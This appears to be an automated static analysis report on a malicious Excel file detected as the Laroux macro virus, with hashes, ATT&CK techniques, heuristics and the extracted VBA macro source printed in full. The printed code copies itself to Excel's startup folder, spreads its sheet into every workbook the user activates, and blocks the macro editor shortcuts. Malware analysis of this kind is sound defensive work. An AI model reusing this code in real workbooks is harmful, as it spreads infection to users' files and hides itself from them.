Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 59605d1974ba08c6…

MALICIOUS

Office (OLE)

49.5 KB Created: 2010-12-28 15:20:03 Authoring application: Microsoft Excel First seen: 2015-10-02
MD5: d4134995fe486d16f01ccb64b6979100 SHA-1: 378a5a539c1c34f84882c8989c9b5c64094f6ffa SHA-256: 59605d1974ba08c648564acb2e6db5a4ce5af713e6a23298432aa69047172a1a
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains VBA macros, including an Auto_Open subroutine, which is a common technique for executing malicious code upon opening an Office document. The script attempts to copy itself to the Excel startup folder as 'StartUp.xls' and configures sheet activation and key press events to maintain persistence and potentially execute further payloads. The presence of the 'Doc.Macro.Laroux-5893719-0' ClamAV detection strongly indicates malicious intent.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1223 bytes
SHA-256: 1aade4ed855002fe3c1531e58ce176fcd522d30cf4f88e9843368ad938864649
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub
  


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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